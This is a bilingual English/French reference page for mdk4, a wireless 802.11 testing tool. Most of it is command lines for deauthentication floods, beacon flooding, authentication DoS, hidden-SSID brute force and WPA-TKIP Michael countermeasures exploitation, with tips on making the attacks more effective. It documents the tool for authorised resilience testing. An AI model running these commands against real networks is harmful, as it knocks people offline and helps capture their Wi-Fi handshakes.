← retour aux outils back to tools

# mdk4

Outil de stress-testing du protocole sans fil 802.11. Implémente des floodings de déauthentification, du beacon flooding, de l'usurpation de SSID et diverses attaques DoS IEEE 802.11 contre les APs et clients. Wireless 802.11 protocol stress testing tool. Implements deauthentication floods, beacon flooding, SSID impersonation, and various IEEE 802.11 DoS attacks against APs and clients.

↗ https://github.com/aircrack-ng/mdk4

## Overview

mdk4 (successor to mdk3) is a wireless testing tool that implements multiple IEEE 802.11 attack modes: deauthentication flooding, beacon flooding, authentication DoS, SSID enumeration, and more. Used for testing wireless infrastructure resilience.

## Basic Usage

Put interface in monitor mode first

    airmon-ng start wlan0

Deauthentication attack (kick all clients from an AP)

    mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF

Beacon flooding (spam SSIDs)

    mdk4 wlan0mon b

Authentication DoS (overwhelm AP with auth requests)

    mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF

## Attack Modes

    mdk4 wlan0mon b                          # Random SSIDs

    mdk4 wlan0mon b -f ssids.txt             # SSIDs from file

    mdk4 wlan0mon b -c 6                     # On channel 6

    mdk4 wlan0mon b -s 1000                  # 1000 packets/sec

    mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF    # Deauth all clients from AP

    mdk4 wlan0mon d -S SSID                  # Deauth from SSID

    mdk4 wlan0mon d -c 6                     # On channel 6

    mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF    # Target specific AP

    mdk4 wlan0mon a -m                       # Use valid client MAC

    mdk4 wlan0mon p -t AA:BB:CC:DD:EE:FF    # Target AP

    mdk4 wlan0mon p -f ssids.txt             # Wordlist for hidden SSID

Mode m — Michael Countermeasures Exploitation (WPA-TKIP)

    mdk4 wlan0mon m -t AA:BB:CC:DD:EE:FF

## Channel Hopping

Attack across all channels

    mdk4 wlan0mon d

Stick to specific channel

    mdk4 wlan0mon d -B AP_BSSID -c 11

## Whitelist / Blacklist

Deauth everyone except whitelisted MACs

    mdk4 wlan0mon d -w whitelist.txt

Blacklist (only target these MACs)

    mdk4 wlan0mon d -b blacklist.txt

## Tips

- Monitor mode required: `airmon-ng start wlan0` before using mdk4
- Deauth floods (mode d) are commonly used to force WPA handshake captures
- Beacon flooding (mode b) creates confusion for wireless clients and IDS
- Authentication DoS (mode a) can crash or freeze vulnerable APs
- Use `-c` to stay on target channel — hopping reduces effectiveness
- mdk4 replaces mdk3 with better WPA3 and modern hardware support

Help / Man page

    mdk4 <interface> <attack mode> [options]

    Attack modes:
      b  Beacon Flooding
      a  Authentication DoS
      d  Deauthentication/Disassociation
      p  SSID Probing and Bruteforce
      m  Michael Countermeasures Exploitation
      e  EAPOL Start/Logoff Packet Injection
      s  Attacks for IEEE 802.11s mesh networks
      w  WIDS/WIPS Confusion
      f  Packet Fuzzer

    Common options:
      -B BSSID    Target AP BSSID
      -S SSID     Target by SSID
      -c CHAN     Channel
      -s RATE     Packets per second
      -w FILE     Whitelist file
      -b FILE     Blacklist file

## Vue d’ensemble

mdk4 (successeur de mdk3) est un outil de test sans fil qui implémente plusieurs modes d’attaque IEEE 802.11 : flooding de déauthentification, beacon flooding, DoS d’authentification, énumération de SSID, et plus encore. Utilisé pour tester la résilience de l’infrastructure sans fil.

## Utilisation de base

    # Mettre d'abord l'interface en mode monitor
    airmon-ng start wlan0

    # Attaque de déauthentification (éjecte tous les clients d'un AP)
    mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF

    # Beacon flooding (spam de SSID)
    mdk4 wlan0mon b

    # DoS d'authentification (submerge l'AP de requêtes d'authentification)
    mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF

## Modes d’attaque

    mdk4 wlan0mon b                          # SSID aléatoires
    mdk4 wlan0mon b -f ssids.txt             # SSID depuis un fichier
    mdk4 wlan0mon b -c 6                     # Sur le canal 6
    mdk4 wlan0mon b -s 1000                  # 1000 paquets/sec
    mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF    # Déauth tous les clients d'un AP
    mdk4 wlan0mon d -S SSID                  # Déauth depuis un SSID
    mdk4 wlan0mon d -c 6                     # Sur le canal 6
    mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF    # Cibler un AP spécifique
    mdk4 wlan0mon a -m                       # Utiliser une MAC client valide
    mdk4 wlan0mon p -t AA:BB:CC:DD:EE:FF    # Cibler un AP
    mdk4 wlan0mon p -f ssids.txt             # Wordlist pour SSID caché

    # Mode m : exploitation Michael Countermeasures (WPA-TKIP)
    mdk4 wlan0mon m -t AA:BB:CC:DD:EE:FF

## Saut de canal

    # Attaque sur tous les canaux
    mdk4 wlan0mon d

    # Rester sur un canal spécifique
    mdk4 wlan0mon d -B AP_BSSID -c 11

## Liste blanche / liste noire

    # Déauth tout le monde sauf les MAC en liste blanche
    mdk4 wlan0mon d -w whitelist.txt

    # Liste noire (ne cibler que ces MAC)
    mdk4 wlan0mon d -b blacklist.txt

## Conseils

- Mode monitor requis : `airmon-ng start wlan0` avant d’utiliser mdk4
- Les floodings de déauth (mode d) sont couramment utilisés pour forcer la capture d’un handshake WPA
- Le beacon flooding (mode b) crée de la confusion pour les clients sans fil et les IDS
- Le DoS d’authentification (mode a) peut faire planter ou geler des APs vulnérables
- Utiliser `-c` pour rester sur le canal cible : le saut de canal réduit l’efficacité
- mdk4 remplace mdk3 avec un meilleur support WPA3 et du matériel moderne

Aide / Page de manuel

    mdk4 <interface> <attack mode> [options]

    Attack modes:
      b  Beacon Flooding
      a  Authentication DoS
      d  Deauthentication/Disassociation
      p  SSID Probing and Bruteforce
      m  Michael Countermeasures Exploitation
      e  EAPOL Start/Logoff Packet Injection
      s  Attacks for IEEE 802.11s mesh networks
      w  WIDS/WIPS Confusion
      f  Packet Fuzzer

    Common options:
      -B BSSID    Target AP BSSID
      -S SSID     Target by SSID
      -c CHAN     Channel
      -s RATE     Packets per second
      -w FILE     Whitelist file
      -b FILE     Blacklist file